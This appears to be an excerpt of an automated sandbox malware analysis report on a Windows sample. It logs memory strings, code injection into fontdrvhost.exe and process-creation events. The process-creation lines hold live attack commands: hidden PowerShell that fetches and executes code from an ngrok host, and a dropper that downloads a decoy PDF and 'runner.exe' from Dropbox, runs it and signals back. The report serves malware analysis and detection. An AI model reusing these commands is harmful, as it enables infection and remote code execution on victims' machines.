Source: powershell.exe, 00000010.00000002.2876110731.00000169AADD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: G.\collide\mopp\machine\hkMoppAabbCastVirtualMachine.cpp..\hkinternal/collide/mopp/machine/hkMoppUsingFloatAabbVirtualMachine.inl
Source: fontdrvhost.exe, 0000001C.00000002.3111180821.000000000305A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: +2.\collide\mopp\machine\hkMoppEarlyExitObbVirtualMachine.cpp
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppSphereVirtualMachine.cpp
Source: svchost.exe, 00000006.00000002.3309727871.000001807905F000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000002.3111180821.000000000305A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppModifyVirtualMachine.cpp
Source: msedge.exe, 00000005.00000003.2239943736.0000171000324000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: svchost.exe, 00000006.00000002.3309727871.000001807905F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWindows\System32\rasadhlp.dll
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppFindAllVirtualMachine.cpp
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000010.00000002.2876110731.00000169AADD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: svchost.exe, 00000006.00000002.3306325683.000001807382B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: fontdrvhost.exe, 0000001C.00000002.3111180821.000000000305A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppSphereVirtualMachine.cppUnknown command - This mopp data has been corrupted (check for memory trashing), or an hkMoppBvTreeShape has been pointed at invalid mopp data.
Source: powershell.exe, 00000002.00000002.2390057321.00000143E2C1F000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000005.00000002.2259320748.0000018FC7643000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2967676644.00000169C2F00000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2429868580.0000020569244000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: G.\collide\mopp\machine\hkMoppAabbCastVirtualMachine.cpp
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppObbVirtualMachine.cpp
Source: powershell.exe, 00000010.00000002.2876110731.00000169AADD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppObbVirtualMachine.cpp.\collide\mopp\machine\hkMoppLongRayVirtualMachine.cpp
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppLongRayVirtualMachine.cpp
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: .\collide\mopp\machine\hkMoppKDopGeometriesVirtualMachine.cpp
Source: fontdrvhost.exe, 0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: fontdrvhost.exe, 0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: +2.\collide\mopp\machine\hkMoppEarlyExitObbVirtualMachine.cpp.\collide\mopp\machine\hkMoppKDopGeometriesVirtualMachine.cpp.\collide\mopp\machine\hkMoppFindAllVirtualMachine.cpp.\collide\mopp\machine\hkMoppModifyVirtualMachine.cpp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Code function: 27_3_02C692CC VirtualAlloc,VirtualAlloc,VirtualProtect,LdrInitializeThunk,VirtualFree,

27_3_02C692CC

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Code function: 27_3_02C69277 mov eax, dword ptr fs:[00000030h]		27_3_02C69277
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Code function: 28_3_00BE0283 mov eax, dword ptr fs:[00000030h]		28_3_00BE0283

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Process created: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe "C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe"

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Memory written: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe base: 2C30000 value starts with: 4D5A

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\2055147785.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\5622253b-f54a-4cad-af64-795d524a2bab.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe "C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe"
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -noprofile -command "$randompdf = join-path -path $env:temp -childpath ('{0}.pdf' -f ([guid]::newguid())); $randomexe = join-path -path $env:temp -childpath ('{0}.exe' -f ([guid]::newguid())); invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -outfile $randompdf; start-process -filepath 'msedge.exe' -argumentlist '--kiosk', $randompdf; invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -outfile $randomexe; start-process -filepath $randomexe; if (test-path $randomexe) { invoke-webrequest -uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -noprofile -command "$randompdf = join-path -path $env:temp -childpath ('{0}.pdf' -f ([guid]::newguid())); $randomexe = join-path -path $env:temp -childpath ('{0}.exe' -f ([guid]::newguid())); invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -outfile $randompdf; start-process -filepath 'msedge.exe' -argumentlist '--kiosk', $randompdf; invoke-webrequest -uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -outfile $randomexe; start-process -filepath $randomexe; if (test-path $randomexe) { invoke-webrequest -uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }"

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Code function: 27_3_02C5CDD5 cpuid

27_3_02C5CDD5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
